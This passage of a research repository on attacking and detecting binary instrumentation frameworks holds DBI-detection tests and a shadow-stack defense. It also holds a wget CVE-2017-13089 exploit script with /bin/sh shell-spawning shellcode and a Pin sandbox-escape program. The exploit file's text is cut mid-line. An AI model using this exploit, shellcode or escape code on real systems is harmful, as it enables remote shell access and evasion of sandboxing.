ripsys_label); 30 | #endif 31 | 32 | if (saved_rip != (unsigned long)ripsys_label || abs(saved_rip - rip) > page_size) { 33 | return RESULT_YES; 34 | } 35 | 36 | return RESULT_NO; 37 | } 38 | 39 | static int cleanup(void) { 40 | /* Nothing to be done */ 41 | return 0; 42 | } 43 | 44 | int register_test_ripsyscall(struct test_chain *all_tests) { 45 | struct test_chain *test; 46 | 47 | test = test_chain_alloc_new(all_tests); 48 | 49 | if (!test) return 1 << TEST_ID_RIPSYSCALL; 50 | 51 | test->detect = detect; 52 | test->description = TEST_DESC_RIPSYSCALL; 53 | test->name = TEST_NAME_RIPSYSCALL; 54 | test->cleanup = cleanup; 55 | 56 | return 0; 57 | } 58 | -------------------------------------------------------------------------------- /jitmenot/testRIPSYSCALL.h: -------------------------------------------------------------------------------- 1 | #ifndef _TEST_RIPSYSCALL_H 2 | #define _TEST_RIPSYSCALL_H 3 | 4 | #include "jitmenot.h" 5 | 6 | int register_test_ripsyscall(struct test_chain *); 7 | 8 | #define TEST_ID_RIPSYSCALL 8 9 | #define TEST_NAME_RIPSYSCALL "ripsyscall" 10 | #define TEST_DESC_RIPSYSCALL "Checks whether rip value is saved in rcx register after syscall." 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /jitmenot/testSMC.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "jitmenot.h" 7 | #include "testSMC.h" 8 | 9 | static int detect(void) { 10 | volatile int change_me = 0; 11 | 12 | int page_size = getpagesize(); 13 | extern unsigned char mov_label[]; 14 | unsigned char *page_start = mov_label - (unsigned long)mov_label % page_size; 15 | unsigned char *mov_instr_address = mov_label + 0x1; 16 | 17 | #ifdef DEBUG 18 | const char *error_mprotect = "mprotect couldn't change the permissions of text segment."; 19 | #endif 20 | 21 | if (mprotect(page_start, page_size, PROT_READ | PROT_WRITE | PROT_EXEC) == -1) { 22 | #ifdef DEBUG 23 | puts(error_mprotect); 24 | #endif 25 | return RESULT_UNK; 26 | } 27 | 28 | *mov_instr_address = 0x0; 29 | 30 | // This will not work if Pin was executed with -smc_strict 1 31 | asm volatile(".global mov_label\n\t" 32 | "mov_label: \n\t" 33 | "mov $1, %%eax\n\t" 34 | "mov %%eax, %0" 35 | : "=r"(change_me) 36 | : 37 | : "rax"); 38 | 39 | if (mprotect(page_start, page_size, PROT_READ | PROT_EXEC) == -1) { 40 | #ifdef DEBUG 41 | puts(error_mprotect); 42 | #endif 43 | return RESULT_UNK; 44 | } 45 | 46 | #ifdef DEBUG 47 | printf("change_me\t%d\n", change_me); 48 | #endif 49 | 50 | return change_me == 1 ? RESULT_YES : RESULT_NO; 51 | } 52 | 53 | static int cleanup(void) { 54 | /* Nothing to be done */ 55 | return 0; 56 | } 57 | 58 | int register_test_smc(struct test_chain *all_tests) { 59 | struct test_chain *test; 60 | 61 | test = test_chain_alloc_new(all_tests); 62 | 63 | if (!test) return 1 << TEST_ID_SMC; 64 | 65 | test->detect = detect; 66 | test->description = TEST_DESC_SMC; 67 | test->name = TEST_NAME_SMC; 68 | test->cleanup = cleanup; 69 | 70 | return 0; 71 | } 72 | -------------------------------------------------------------------------------- /jitmenot/testSMC.h: -------------------------------------------------------------------------------- 1 | #ifndef _TEST_SMC_H 2 | #define _TEST_SMC_H 3 | 4 | #include "jitmenot.h" 5 | 6 | int register_test_smc(struct test_chain *); 7 | 8 | #define TEST_ID_SMC 9 9 | #define TEST_NAME_SMC "smc" 10 | #define TEST_DESC_SMC "Checks whether self modifying code is detected." 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /jitmenot/testVMLeave.c: -------------------------------------------------------------------------------- 1 | #ifndef _GNU_SOURCE 2 | #define _GNU_SOURCE /* See feature_test_macros(7) */ 3 | #endif 4 | 5 | #include 6 | #include 7 | #include 8 | 9 | #include "jitmenot.h" 10 | #include "pmparser.h" 11 | #include "testVMLeave.h" 12 | 13 | const unsigned char pin_vmleave[PIN_VMLEAVE_SIZE] = { 14 | 0x9D, // popf 15 | 0x48, 0x8B, 0x38, // mov rdi, [rax] 16 | 0x48, 0x8B, 0x70, 0x08, // mov rsi, [rax+8] 17 | 0x48, 0x8B, 0x68, 0x10, // mov rbp, [rax+10h] 18 | 0x48, 0x8B, 0x60, 0x18, // mov rsp, [rax+18h] 19 | 0x48, 0x8B, 0x58, 0x20, // mov rbx, [rax+20h] 20 | 0x48, 0x8B, 0x50, 0x28, // mov rdx, [rax+28h] 21 | 0x48, 0x8B, 0x48, 0x30, // mov rcx, [rax+30h] 22 | 0x4C, 0x8B, 0x40, 0x40, // mov r8, [rax+40h] 23 | 0x4C, 0x8B, 0x48, 0x48, // mov r9, [rax+48h] 24 | 0x4C, 0x8B, 0x50, 0x50, // mov r10, [rax+50h] 25 | 0x4C, 0x8B, 0x58, 0x58, // mov r11, [rax+58h] 26 | 0x4C, 0x8B, 0x60, 0x60, // mov r12, [rax+60h] 27 | 0x4C, 0x8B, 0x68, 0x68, // mov r13, [rax+68h] 28 | 0x4C, 0x8B, 0x70, 0x70, // mov r14, [rax+70h] 29 | 0x4C, 0x8B, 0x78, 0x78 // mov r15, [rax+78h] 30 | }; 31 | 32 | const unsigned char qbdi_vmleave[QBDI_VMLEAVE_SIZE] = { 33 | 0x9D, // popf 34 | 0x48, 0x8B, 0x05, 0x3B, 0x12, 0x00, 0x00, // mov rax, QWORD PTR [rip+0x123b] 35 | 0x48, 0x8B, 0x1D, 0x3C, 0x12, 0x00, 0x00, // mov rbx, QWORD PTR [rip+0x123c] 36 | 0x48, 0x8B, 0x0D, 0x3D, 0x12, 0x00, 0x00, // mov rcx, QWORD PTR [rip+0x123d] 37 | 0x48, 0x8B, 0x15, 0x3E, 0x12, 0x00, 0x00, // mov rdx, QWORD PTR [rip+0x123e] 38 | 0x48, 0x8B, 0x35, 0x3F, 0x12, 0x00, 0x00, // mov rsi, QWORD PTR [rip+0x123f] 39 | 0x48, 0x8B, 0x3D, 0x40, 0x12, 0x00, 0x00, // mov rdi, QWORD PTR [rip+0x1240] 40 | 0x4C, 0x8B, 0x05, 0x41, 0x12, 0x00, 0x00, // mov r8, QWORD PTR [rip+0x1241] 41 | 0x4C, 0x8B, 0x0D, 0x42, 0x12, 0x00, 0x00, // mov r9, QWORD PTR [rip+0x1242] 42 | 0x4C, 0x8B, 0x15, 0x43, 0x12, 0x00, 0x00, // mov r10, QWORD PTR [rip+0x1243] 43 | 0x4C, 0x8B, 0x1D, 0x44, 0x12, 0x00, 0x00, // mov r11, QWORD PTR [rip+0x1244] 44 | 0x4C, 0x8B, 0x25, 0x45, 0x12, 0x00, 0x00, // mov r12, QWORD PTR [rip+0x1245] 45 | 0x4C, 0x8B, 0x2D, 0x46, 0x12, 0x00, 0x00, // mov r13, QWORD PTR [rip+0x1246] 46 | 0x4C, 0x8B, 0x35, 0x47, 0x12, 0x00, 0x00, // mov r14, QWORD PTR [rip+0x1247] 47 | 0x4C, 0x8B, 0x3D, 0x48, 0x12, 0x00, 0x00, // mov r15, QWORD PTR [rip+0x1248] 48 | 0x48, 0x8B, 0x2D, 0x49, 0x12, 0x00, 0x00, // mov rbp, QWORD PTR [rip+0x1249] 49 | 0x48, 0x8B, 0x25, 0x4A, 0x12, 0x00, 0x00 // mov rsp, QWORD PTR [rip+0x124a] 50 | 51 | }; 52 | 53 | const unsigned char *needles[NUM_PATTERNS] = {pin_vmleave, qbdi_vmleave}; 54 | const size_t needles_sizes[NUM_PATTERNS] = {PIN_VMLEAVE_SIZE, QBDI_VMLEAVE_SIZE}; 55 | 56 | static int detect(void) { 57 | int detected = 0; 58 | void *found = NULL; 59 | 60 | procmaps_struct *maps = pmparser_parse(-1); // this process 61 | if (maps == NULL) { 62 | #ifdef DEBUG 63 | printf("Cannot parse the memory map!\n"); 64 | #endif 65 | return RESULT_UNK; 66 | } 67 | 68 | procmaps_struct *maps_tmp = NULL; 69 | 70 | while ((maps_tmp = pmparser_next()) != NULL) { 71 | if (maps_tmp->is_r && strstr(maps_tmp->pathname, "vvar") == NULL) { 72 | for (int i = 0; i < NUM_PATTERNS; i++) { 73 | if ((found = memmem(maps_tmp->addr_start, maps_tmp->length, needles[i], needles_sizes[i])) != NULL) { 74 | detected += 1; 75 | #ifdef DEBUG 76 | printf("%p\n", found); 77 | #endif 78 | } 79 | } 80 | } 81 | } 82 | 83 | pmparser_free(maps); 84 | #ifdef DEBUG 85 | printf("VMLeave was found %d time(s) in memory\n", detected); 86 | #endif 87 | 88 | // Normally VMLeave code can only be found in stack 89 | return detected > 2 * 1 ? RESULT_YES : RESULT_NO; 90 | } 91 | 92 | static int cleanup(void) { 93 | /* Nothing to be done */ 94 | return 0; 95 | } 96 | 97 | int register_test_vmleave(struct test_chain *all_tests) { 98 | struct test_chain *test; 99 | 100 | test = test_chain_alloc_new(all_tests); 101 | 102 | if (!test) return 1 << TEST_ID_VMLEAVE; 103 | 104 | test->detect = detect; 105 | test->description = TEST_DESC_VMLEAVE; 106 | test->name = TEST_NAME_VMLEAVE; 107 | test->cleanup = cleanup; 108 | 109 | return 0; 110 | } 111 | -------------------------------------------------------------------------------- /jitmenot/testVMLeave.h: -------------------------------------------------------------------------------- 1 | #ifndef _TEST_VMLEAVE_H 2 | #define _TEST_VMLEAVE_H 3 | 4 | #include "jitmenot.h" 5 | 6 | int register_test_vmleave(struct test_chain *); 7 | 8 | #define NUM_PATTERNS 2 9 | #define PIN_VMLEAVE_SIZE 60 10 | #define QBDI_VMLEAVE_SIZE 113 11 | 12 | #define TEST_ID_VMLEAVE 10 13 | #define TEST_NAME_VMLEAVE "vmleave" 14 | #define TEST_DESC_VMLEAVE "Checks for known code patterns (VMLeave)." 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /ma_zhechev_2018.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhechkoz/PwIN/ba08ed92ca332f92356057f75c4777bd6c652535/ma_zhechev_2018.pdf -------------------------------------------------------------------------------- /pwin/pwn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | ''' 4 | http://git.savannah.gnu.org/cgit/wget.git/diff/src/http.c?id=d892291fb8ace4c3b734ea5125770989c215df3f&context=40&ignorews=0&dt=0 5 | https://nvd.nist.gov/vuln/detail/CVE-2017-13089 6 | ''' 7 | 8 | import socket, time, struct 9 | import telnetlib 10 | 11 | try: 12 | import keystone 13 | 14 | ks = keystone.Ks(keystone.KS_ARCH_X86, keystone.KS_MODE_64) 15 | with open('shellcode.S', 'r') as f: shellcode = f.read() 16 | shellcode, _ = ks.asm(shellcode) 17 | shellcode = bytes(shellcode) 18 | except (ImportError, keystone.KsError, FileNotFoundError) as error: 19 | print('WARNING: {}\nUsing default shellcode...'.format(error)) 20 | shellcode = ( 21 | b'\x31\xF6\x6A\x21\x58\x0F\x05\x6A\x01\x5E\x6A\x21\x58\x0F\x05\x6A\x02\x5E\x6A\x21\x58\x0F\x05' 22 | b'\x31\xF6\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x56\x53\x54\x5F\x6A\x3B\x58\x31\xD2\x0F\x05' 23 | ) 24 | 25 | p64 = lambda x: struct.pack(' 2 | #include 3 | 4 | // https://www.exploit-db.com/exploits/36858/ 5 | // execve("/bin//sh", 0, 0) 6 | char *shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68" 7 | "\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"; 8 | 9 | int main(int argc, char *argv[]) { 10 | int len = strlen(shellcode); 11 | unsigned char sh[len]; 12 | 13 | memcpy(sh, shellcode, len); 14 | 15 | for (int i = 0; i < len; i++) { 16 | printf("\e[31m\e[1m%02X", sh[i]); 17 | } 18 | 19 | puts("\e[0m"); 20 | 21 | ((void (*)(void))sh)(); 22 | 23 | return 0; 24 | } 25 | 26 | -------------------------------------------------------------------------------- /pwin/shellcode.S: -------------------------------------------------------------------------------- 1 | xor esi,esi 2 | push 0x21 3 | pop rax 4 | syscall // dup(3, 0) 5 | push 0x1 6 | pop rsi 7 | push 0x21 8 | pop rax 9 | syscall // dup(3, 1) 10 | push 0x2 11 | pop rsi 12 | push 0x21 13 | pop rax 14 | syscall // dup(3, 2) 15 | xor esi, esi 16 | mov rdx, 0x6 17 | movabs rcx, 0x2024 18 | push rsi 19 | push rcx 20 | push rsp 21 | pop rsi 22 | mov rdi, 0x1 23 | mov eax, 0x1 24 | syscall // write(1, "$ ", 2) 25 | xor esi, esi 26 | movabs rbx, 0x68732f2f6e69622f 27 | push rsi 28 | push rbx 29 | push rsp 30 | pop rdi 31 | push 0x3b 32 | pop rax 33 | xor edx, edx 34 | syscall // execve("/bin/sh", NULL, 0) 35 | -------------------------------------------------------------------------------- /pwin/wget: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhechkoz/PwIN/ba08ed92ca332f92356057f75c4777bd6c652535/pwin/wget -------------------------------------------------------------------------------- /sandbox/SandboxPinTool.cpp: -------------------------------------------------------------------------------- 1 | /*BEGIN_LEGAL 2 | Intel Open Source License 3 | 4 | Copyright (c) 2002-2017 Intel Corporation. All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are 8 | met: 9 | 10 | Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. Redistributions 12 | in binary form must reproduce the above copyright notice, this list of 13 | conditions and the following disclaimer in the documentation and/or 14 | other materials provided with the distribution. Neither the name of 15 | the Intel Corporation nor the names of its contributors may be used to 16 | endorse or promote products derived from this software without 17 | specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 22 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR 23 | ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 25 | LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 26 | DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 27 | THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 28 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | END_LEGAL */ 31 | /* 32 | * This file contains an ISA-portable PIN tool for tracing system calls 33 | */ 34 | 35 | #include 36 | 37 | #if !defined(TARGET_WINDOWS) 38 | #include 39 | #endif 40 | 41 | #include "pin.H" 42 | 43 | // Print syscall number and arguments 44 | VOID SysBefore(ADDRINT ip, ADDRINT num, ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT arg3, ADDRINT arg4, ADDRINT arg5) 45 | { 46 | #if defined(TARGET_LINUX) && defined(TARGET_IA32) 47 | // On ia32 Linux, there are only 5 registers for passing system call arguments, 48 | // but mmap needs 6. For mmap on ia32, the first argument to the system call 49 | // is a pointer to an array of the 6 arguments 50 | if (num == SYS_mmap) 51 | { 52 | ADDRINT * mmapArgs = reinterpret_cast(arg0); 53 | arg0 = mmapArgs[0]; 54 | arg1 = mmapArgs[1]; 55 | arg2 = mmapArgs[2]; 56 | arg3 = mmapArgs[3]; 57 | arg4 = mmapArgs[4]; 58 | arg5 = mmapArgs[5]; 59 | } 60 | #endif 61 | 62 | printf("0x%lx: %ld(0x%lx, 0x%lx, 0x%lx, 0x%lx, 0x%lx, 0x%lx)\n", 63 | (unsigned long)ip, 64 | (long)num, 65 | (unsigned long)arg0, 66 | (unsigned long)arg1, 67 | (unsigned long)arg2, 68 | (unsigned long)arg3, 69 | (unsigned long)arg4, 70 | (unsigned long)arg5); 71 | } 72 | 73 | VOID SyscallEntry(THREADID threadIndex, CONTEXT *ctxt, SYSCALL_STANDARD std, VOID *v) { 74 | SysBefore(PIN_GetContextReg(ctxt, REG_INST_PTR), 75 | PIN_GetSyscallNumber(ctxt, std), 76 | PIN_GetSyscallArgument(ctxt, std, 0), 77 | PIN_GetSyscallArgument(ctxt, std, 1), 78 | PIN_GetSyscallArgument(ctxt, std, 2), 79 | PIN_GetSyscallArgument(ctxt, std, 3), 80 | PIN_GetSyscallArgument(ctxt, std, 4), 81 | PIN_GetSyscallArgument(ctxt, std, 5)); 82 | } 83 | 84 | // Is called for every instruction and instruments syscalls 85 | VOID Instruction(INS ins, VOID *v) { 86 | // For O/S's (Mac) that don't support PIN_AddSyscallEntryFunction(), 87 | // instrument the system call instruction. 88 | 89 | if (INS_IsSyscall(ins) && INS_HasFallThrough(ins)) { 90 | // Arguments and syscall number is only available before 91 | INS_InsertCall(ins, IPOINT_BEFORE, AFUNPTR(SysBefore), 92 | IARG_INST_PTR, IARG_SYSCALL_NUMBER, 93 | IARG_SYSARG_VALUE, 0, IARG_SYSARG_VALUE, 1, 94 | IARG_SYSARG_VALUE, 2, IARG_SYSARG_VALUE, 3, 95 | IARG_SYSARG_VALUE, 4, IARG_SYSARG_VALUE, 5, 96 | IARG_END); 97 | } 98 | } 99 | 100 | VOID Fini(INT32 code, VOID *v) { 101 | printf("Fini PinTool\n"); 102 | } 103 | 104 | /* ===================================================================== */ 105 | /* Print Help Message */ 106 | /* ===================================================================== */ 107 | 108 | INT32 Usage() { 109 | PIN_ERROR("This tool prints a log of system calls.\n"); 110 | return -1; 111 | } 112 | 113 | /* ===================================================================== */ 114 | /* Main */ 115 | /* ===================================================================== */ 116 | 117 | int main(int argc, char *argv[]) { 118 | setbuf(stdout, NULL); 119 | if (PIN_Init(argc, argv)) return Usage(); 120 | 121 | INS_AddInstrumentFunction(Instruction, 0); 122 | PIN_AddSyscallEntryFunction(SyscallEntry, 0); 123 | 124 | // Register function to be called when the application exits 125 | PIN_AddFiniFunction(Fini, 0); 126 | 127 | // Never returns 128 | PIN_StartProgram(); 129 | 130 | return 0; 131 | } 132 | -------------------------------------------------------------------------------- /sandbox/escape.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | /* 12 | * Please compile the program as follows or the involved constants have to be manually adjusted: 13 | * 14 | * gcc -o escape -O3 escape.c 15 | * 16 | * If you happen to compile this program with the -fstack-protector-all flag set, please 17 | * add 0x10 to the fixup address in line 95 to jump over the cookie set procedure 18 | * 19 | */ 20 | 21 | unsigned long get_real_rip() { 22 | unsigned long fxsave_memoty[0x34]; 23 | memset(fxsave_memoty, 0, sizeof(fxsave_memoty)); 24 | 25 | asm volatile ( 26 | "fldpi\n\t" 27 | "fxsave64 %0" 28 | : "=m" (fxsave_memoty) 29 | ); 30 | 31 | return fxsave_memoty[1]; 32 | } 33 | 34 | void fixup() { 35 | /* 36 | * Set the correct fsbase value because the current value belongs 37 | * to Pin. This is important for later cookie checks. 38 | */ 39 | unsigned long fs; 40 | asm volatile ( 41 | "mov 0x3d8(%%r15), %0" 42 | : "=r" (fs) 43 | ); 44 | 45 | if (syscall(SYS_arch_prctl, ARCH_SET_FS, fs) != 0) { 46 | /* 47 | * If the system call fails we exit gracefully 48 | * using inlined assembly since the libc wrapper 49 | * functions will fail because of corrupted fs value 50 | */ 51 | const char *fsFail = "FS register could not be set!\n"; 52 | 53 | // Write syscall 54 | asm volatile ( 55 | "mov $0x1e, %%edx\n\t" 56 | "mov %0, %%rsi\n\t" 57 | "mov $0x1, %%rdi\n\t" 58 | "mov $0x1, %%rax\n\t" 59 | "syscall" 60 | :: "r" (fsFail) 61 | : "edx", "rsi", "rdi", "rax" 62 | ); 63 | 64 | // Exit gracefully 65 | asm volatile ( 66 | "mov $0xe7, %%rax\n\t" 67 | "syscall" 68 | :: 69 | : "rax" 70 | ); 71 | } 72 | 73 | asm volatile ( 74 | "jmp pwn" 75 | ); 76 | } 77 | 78 | void pwn() { 79 | /** Do whatever you want outside of the sandbox here **/ 80 | 81 | // For example continue program's execution *outside of the sandbox* 82 | asm volatile ( 83 | "mov 0x40(%%r15), %%rsp\n\t" // rsp might need to be adjusted according to the utilised Pintool 84 | "ret" 85 | :: 86 | ); 87 | } 88 | 89 | int main(int argc, char *argv[]) { 90 | if (argc < 2) { 91 | puts("Execute this program with any parameter to trigger the sandbox escape!"); 92 | } 93 | 94 | // Get address of the function to be called outside of sandbox 95 | unsigned char *fixupAddress = (unsigned char *) fixup; // + 0x10; 96 | 97 | // Execute to jit code, save it in the code cache, and get its address 98 | unsigned long rip = get_real_rip(); 99 | 100 | if (argc > 1) { 101 | // Overwrite code cache 102 | memcpy((void *) rip, "\x48\xb8", 2); // mov rax, fixupAddress 103 | memcpy((void *) rip+2, &fixupAddress, 8); 104 | memcpy((void *) rip+10, "\xff\xe0", 2); // jmp rax; 105 | 106 | // Call the same function again to execute the overwritten code cache 107 | rip = get_real_rip(); 108 | } 109 | 110 | puts("--Application--\tExecuting syscall number 39 (sys_getpid)"); 111 | 112 | // Execute syscall with some visible side effect 113 | pid_t pid = 0; 114 | asm volatile ( 115 | "mov $0x27, %%rax\n\t" 116 | "syscall\n\t" 117 | "mov %%eax, %0" 118 | : "=m"(pid) 119 | :: "rax" 120 | ); 121 | 122 | printf("--Application--\tThe proccess PID is: %u\n", pid); 123 | 124 | puts("--Application--\tExiting.."); 125 | 126 | return 0; 127 | } 128 | -------------------------------------------------------------------------------- /sandbox/makefile: -------------------------------------------------------------------------------- 1 | ############################################################## 2 | # 3 | # DO NOT EDIT THIS FILE! 4 | # 5 | ############################################################## 6 | 7 | # If the tool is built out of the kit, PIN_ROOT must be specified in the make invocation and point to the kit root. 8 | ifdef PIN_ROOT 9 | CONFIG_ROOT := $(PIN_ROOT)/source/tools/Config 10 | else 11 | CONFIG_ROOT := ../Config 12 | endif 13 | include $(CONFIG_ROOT)/makefile.config 14 | include makefile.rules 15 | include $(TOOLS_ROOT)/Config/makefile.default.rules 16 | 17 | ############################################################## 18 | # 19 | # DO NOT EDIT THIS FILE! 20 | # 21 | ############################################################## 22 | -------------------------------------------------------------------------------- /sandbox/makefile.rules: -------------------------------------------------------------------------------- 1 | ############################################################## 2 | # 3 | # This file includes all the test targets as well as all the 4 | # non-default build rules and test recipes. 5 | # 6 | ############################################################## 7 | 8 | 9 | ############################################################## 10 | # 11 | # Test targets 12 | # 13 | ############################################################## 14 | 15 | ###### Place all generic definitions here ###### 16 | 17 | # This defines tests which run tools of the same name. This is simply for convenience to avoid 18 | # defining the test name twice (once in TOOL_ROOTS and again in TEST_ROOTS). 19 | # Tests defined here should not be defined in TOOL_ROOTS and TEST_ROOTS. 20 | TEST_TOOL_ROOTS := SandboxPinTool 21 | 22 | # This defines the tests to be run that were not already defined in TEST_TOOL_ROOTS. 23 | TEST_ROOTS := 24 | 25 | # This defines the tools which will be run during the the tests, and were not already defined in 26 | # TEST_TOOL_ROOTS. 27 | TOOL_ROOTS := 28 | 29 | # This defines the static analysis tools which will be run during the the tests. They should not 30 | # be defined in TEST_TOOL_ROOTS. If a test with the same name exists, it should be defined in 31 | # TEST_ROOTS. 32 | # Note: Static analysis tools are in fact executables linked with the Pin Static Analysis Library. 33 | # This library provides a subset of the Pin APIs which allows the tool to perform static analysis 34 | # of an application or dll. Pin itself is not used when this tool runs. 35 | SA_TOOL_ROOTS := 36 | 37 | # This defines all the applications that will be run during the tests. 38 | APP_ROOTS := 39 | 40 | # This defines any additional object files that need to be compiled. 41 | OBJECT_ROOTS := 42 | 43 | # This defines any additional dlls (shared objects), other than the pintools, that need to be compiled. 44 | DLL_ROOTS := 45 | 46 | # This defines any static libraries (archives), that need to be built. 47 | LIB_ROOTS := 48 | 49 | ###### Define the sanity subset ###### 50 | 51 | # This defines the list of tests that should run in sanity. It should include all the tests listed in 52 | # TEST_TOOL_ROOTS and TEST_ROOTS excluding only unstable tests. 53 | SANITY_SUBSET := $(TEST_TOOL_ROOTS) $(TEST_ROOTS) 54 | 55 | 56 | ############################################################## 57 | # 58 | # Test recipes 59 | # 60 | ############################################################## 61 | 62 | # This section contains recipes for tests other than the default. 63 | # See makefile.default.rules for the default test rules. 64 | # All tests in this section should adhere to the naming convention: .test 65 | 66 | 67 | ############################################################## 68 | # 69 | # Build rules 70 | # 71 | ############################################################## 72 | 73 | # This section contains the build rules for all binaries that have special build rules. 74 | # See makefile.default.rules for the default build rules. 75 | #TOOL_CXXFLAGS := $(TOOL_CXXFLAGS) -g -ggdb 76 | 77 | -------------------------------------------------------------------------------- /sandbox/output-escape-0.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhechkoz/PwIN/ba08ed92ca332f92356057f75c4777bd6c652535/sandbox/output-escape-0.png -------------------------------------------------------------------------------- /sandbox/output-escape-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhechkoz/PwIN/ba08ed92ca332f92356057f75c4777bd6c652535/sandbox/output-escape-1.png -------------------------------------------------------------------------------- /shadow/ShadowStackTool.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | A straightforward implementation of a Shadow Stack according to ROPdefender: A Detection 3 | Tool to Defend Against Return-Oriented Programming Attacks by Lucas Davi, Ahmad-Reza 4 | Sadeghi, and Marcel Winandy. 5 | 6 | The current implementation cannot correctly instrument programs utilising the Unix signals API. 7 | */ 8 | #include "pin.H" 9 | 10 | #include 11 | #include 12 | 13 | #define DEBUG 0 14 | 15 | using std::stack; 16 | using std::cerr; using std::endl; using std::hex; 17 | 18 | unsigned int lastThread = 42; 19 | stack *shadow = NULL; 20 | 21 | // Key for accessing TLS storage in the threads. initialized once in main() 22 | static TLS_KEY tlsKey; 23 | 24 | VOID updateCurrentThreadStack(const THREADID threadId) { 25 | // If no context switch happened between two bbls, no need to fetch the shadow again 26 | if (threadId != lastThread) { 27 | // Get thread-specific data 28 | shadow = static_cast *>(PIN_GetThreadData(tlsKey, threadId)); 29 | lastThread = threadId; 30 | } 31 | } 32 | 33 | VOID onCall(const ADDRINT callInsAddr, const USIZE size, const THREADID threadId) { 34 | updateCurrentThreadStack(threadId); 35 | ADDRINT nextInstAddr = callInsAddr + size; 36 | 37 | #if DEBUG 38 | cerr << "Push on stack: 0x" << hex << nextInstAddr << endl; 39 | #endif 40 | shadow->push(nextInstAddr); 41 | } 42 | 43 | VOID onRet(const ADDRINT retAddr, THREADID threadId) { 44 | updateCurrentThreadStack(threadId); 45 | ADDRINT saved = 0; 46 | 47 | while (!shadow->empty()) { 48 | saved = shadow->top(); 49 | shadow->pop(); 50 | #if DEBUG 51 | cerr << "poped value from stack: 0x" << hex << saved << endl; 52 | cerr << "return value is: 0x" << hex << retAddr << endl; 53 | #endif 54 | if (saved == retAddr) { return; } 55 | } 56 | 57 | cerr << "return address not equal to call address! (0x" 58 | << hex << max(saved, retAddr) - min(saved, retAddr) << ")" << endl; 59 | exit(1); 60 | } 61 | 62 | VOID ThreadStart(THREADID threadId, CONTEXT *ctxt, INT32 flags, VOID *v) { 63 | stack *shadow = new stack(); 64 | PIN_SetThreadData(tlsKey, shadow, threadId); 65 | } 66 | 67 | VOID ThreadEnd(THREADID threadId, const CONTEXT *ctxt, INT32 code, VOID *v) { 68 | updateCurrentThreadStack(threadId); 69 | delete(shadow); 70 | } 71 | 72 | VOID doTrace(TRACE tr, void*) { 73 | auto tail = BBL_InsTail(TRACE_BblTail(tr)); 74 | if (INS_IsCall(tail)) { 75 | INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(&onCall), IARG_INST_PTR, IARG_UINT64, INS_Size(tail), IARG_THREAD_ID, IARG_END); 76 | } else if (INS_IsRet(tail)) { 77 | INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(&onRet), IARG_BRANCH_TARGET_ADDR, IARG_THREAD_ID, IARG_END); 78 | } 79 | } 80 | 81 | int main(int argc, char *argv[]) { 82 | // Initialize PIN library 83 | if (PIN_Init(argc,argv)) { 84 | cerr << "PIN Initialization failed!" << endl; 85 | } 86 | 87 | PIN_InitSymbols(); 88 | 89 | // Obtain a key for TLS storage. 90 | tlsKey = PIN_CreateThreadDataKey(0); 91 | TRACE_AddInstrumentFunction(doTrace, 0); 92 | 93 | PIN_AddThreadStartFunction(ThreadStart, 0); 94 | PIN_AddThreadFiniFunction(ThreadEnd, 0); 95 | 96 | PIN_StartProgram(); 97 | 98 | return 0; 99 | } 100 | -------------------------------------------------------------------------------- /shadow/makefile: -------------------------------------------------------------------------------- 1 | ############################################################## 2 | # 3 | # DO NOT EDIT THIS FILE! 4 | # 5 | ############################################################## 6 | 7 | # If the tool is built out of the kit, PIN_ROOT must be specified in the make invocation and point to the kit root. 8 | ifdef PIN_ROOT 9 | CONFIG_ROOT := $(PIN_ROOT)/source/tools/Config 10 | else 11 | CONFIG_ROOT := ../Config 12 | endif 13 | include $(CONFIG_ROOT)/makefile.config 14 | include makefile.rules 15 | include $(TOOLS_ROOT)/Config/makefile.default.rules 16 | 17 | ############################################################## 18 | # 19 | # DO NOT EDIT THIS FILE! 20 | # 21 | ############################################################## 22 | -------------------------------------------------------------------------------- /shadow/makefile.rules: -------------------------------------------------------------------------------- 1 | ############################################################## 2 | # 3 | # This file includes all the test targets as well as all the 4 | # non-default build rules and test recipes. 5 | # 6 | ############################################################## 7 | 8 | 9 | ############################################################## 10 | # 11 | # Test targets 12 | # 13 | ############################################################## 14 | 15 | ###### Place all generic definitions here ###### 16 | 17 | # This defines tests which run 